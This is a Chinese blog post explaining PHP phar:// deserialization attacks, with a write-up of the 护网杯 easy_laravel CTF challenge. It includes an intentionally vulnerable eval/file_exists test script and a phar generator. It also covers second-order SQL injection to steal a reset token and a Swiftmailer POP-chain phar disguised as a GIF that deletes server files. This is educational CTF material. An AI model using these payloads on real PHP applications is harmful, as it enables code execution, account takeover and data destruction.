phar反序列化rce

前言

在Blackhat2018,来自Secarma的安全研究员Sam Thomas讲述了一种攻击PHP应用的新方式,利用这种方法可以在不使用unserialize()函数的情况下触发PHP反序列化漏洞。

原理

在使用phar://协议读取文件时,文件会被解析成phar( http://php.net/manual/zh/intro.phar.php ) 解析过程中会触发php_var_unserialize()函数,造成反序列化。

测试

漏洞利用条件

1.服务器上存在可控文件 2.服务器端引用了可以利用的魔术方法 3.文件操作函数的参数可控

测试代码

在本地搭建一个简单的环境来测试(php7.1+apache2) 本地测试代码

<?php
class altman
{
    private $a='echo 'test'';
    function __destruct()
    {
        eval($this->a);
    }
}
file_exists($_GET['file']);
?>

生成phar文件

首先要将本地php.ini中的phar.readonly选项设置为Off 然后构造一个生成phar文件的php脚本

<?php
class altman
{
    private $a='echo "test";';
    function __destruct()
    {
        eval($this->a);
    }
}
$f = new altman();
$f->a='phpinfo()';
$phar = new Phar("phar.phar");
$phar->startBuffering();
$phar->setStub("<?php __HALT_COMPILER(); ?>"); //设置stub
$phar->setMetadata($f); //将自定义meta-data存入manifest
$phar->addFromString("test.txt", "test"); //添加要压缩的文件
$phar->stopBuffering();
?>

生成如下phar文件,可以看到文件中metadata部分含有我们构造的恶意序列化代码

触发漏洞

通过测试代码中的file_exists()来访问phar文件,利用phar://协议解析文件。

成功执行phpinfo

护网杯 easy_lavarel

题目doocker环境https://github.com/sco4x0/huwangbei2018_easy_laravel

浏览源码

查看首页注释中拿到整个网站的源码,浏览发现使用lavarel框架写的。 先查看路由

直接去看一下flag获取方式

没什么用,继续全局搜索flag

定位到关键点,到这里就题目意图就很明显了,要登录邮箱为admin@qvq.im的账号来查看flag。

sql注入

尽管可以注册任意用户,但是无法覆盖邮箱,寻找其他突破口 在NoteController.php中找到一处注入点

显然二次注入,常规的union注入拿到管理员密码

有点自闭,密码加密过的,无法破解,只能另寻他路来登录管理员账号

重置密码

发现了重置密码功能,仔细读代码,发现只要得到账号的token,就能拿到重置密码的link

token在password_resets表中 进行注入

然后直接访问link /password/reset/{token}重置管理员密码 成功登陆

发现noflag ???

Blade

Blade 是 laravel 提供的一个简单强大的模板引擎,它就是把 Blade 视图编译成原生的 PHP 代码并缓存起来。缓存会在 Blade 视图改变时而改变。 由于旧的缓存存在,所以我们访问flag时会加载缓存,从而无法访问到新的flag。 所以这里需要想办法删除掉blade文件缓存。 先找到缓存文件的路径

public function getCompiledPath($path)
{
    return $this->cachePath.'/'.sha1($path).'.php';
}

又有提示nginx默认配置,那么可以找到flag文件的path是

/usr/share/nginx/html/resources/views/auth/flag.blade.php

那么最终得到

/usr/share/nginx/html/storage/framework/views/34e41df0934a75437873264cd28e2d835bc38772.php

POP CHAIN

已经确认了缓存文件的目录。下面就要寻找一个可控的删除函数。 通过composer.json,安装网站的组件。

在组件中寻找删除函数,全局搜索定位unlink() 最终在swiftmailer/swiftmailer/lib/classes/Swift/ByteStream/TemporaryFileByteStream.php中找到了一个可以利用的_destruck()

phar反序列化

发现一个check很可疑,查看源码

很明显的一个file_exists函数,这不就是可以出发phar反序列化的函数吗?

到这里整个题目思路就很明确了: ①构造phar文件并上传 ②通过check触发file_exists()引发反序列化 ③执行unlink删除旧的缓存文件 ④再次访问flag

构造phar文件

<?php
class Swift_ByteStream_AbstractFilterableInputStream {
    /**
     * Write sequence.
     */
    protected $sequence = 0;
    /**
     * StreamFilters.
     *
     * @var Swift_StreamFilter[]
     */
    private $filters = [];
    /**
     * A buffer for writing.
     */
    private $writeBuffer = '';
    /**
     * Bound streams.
     *
     * @var Swift_InputByteStream[]
     */
    private $mirrors = [];
}
class Swift_ByteStream_FileByteStream extends Swift_ByteStream_AbstractFilterableInputStream {
    /** The internal pointer offset */
    private $_offset = 0;

    /** The path to the file */
    private $_path;

    /** The mode this file is opened in for writing */
    private $_mode;

    /** A lazy-loaded resource handle for reading the file */
    private $_reader;

    /** A lazy-loaded resource handle for writing the file */
    private $_writer;

    /** If magic_quotes_runtime is on, this will be true */
    private $_quotes = false;

    /** If stream is seekable true/false, or null if not known */
    private $_seekable = null;

    /**
     * Create a new FileByteStream for $path.
     *
     * @param string $path
     * @param bool   $writable if true
     */
    public function __construct($path, $writable = false)
    {
        $this->_path = $path;
        $this->_mode = $writable ? 'w+b' : 'rb';

        if (function_exists('get_magic_quotes_runtime') && @get_magic_quotes_runtime() == 1) {
            $this->_quotes = true;
        }
    }

    /**
     * Get the complete path to the file.
     *
     * @return string
     */
    public function getPath()
    {
        return $this->_path;
    }
}
class Swift_ByteStream_TemporaryFileByteStream extends Swift_ByteStream_FileByteStream {
    public function __construct() {
        $filePath = "/usr/share/nginx/html/storage/framework/views/34e41df0934a75437873264cd28e2d835bc38772.php";
        parent::__construct($filePath, true);
    }
    public function __destruct() {
        if (file_exists($this->getPath())) {
            @unlink($this->getPath());
        }
    }
}
$obj = new Swift_ByteStream_TemporaryFileByteStream();
$p = new Phar('./1.phar', 0);
$p->startBuffering();
$p->setStub('GIF89a<?php __HALT_COMPILER(); ?>');
$p->setMetadata($obj);
$p->addFromString('1.txt','text');
$p->stopBuffering();
rename('./1.phar', '1.gif');
?>

check

上传文件后,在check处抓包,控制path值,利用phar://去解析我们上传的文件,造成反序列化。

然后再去请求flag

原文发布于微信公众号 - 安恒网络空间安全讲武堂(cyberslab)

原文发表时间:2018-12-13

本文参与腾讯云自媒体分享计划,欢迎正在阅读的你也加入,一起分享。

发表于

我来说两句

0 条评论
登录 后参与评论

扫码关注云+社区

领取腾讯云代金券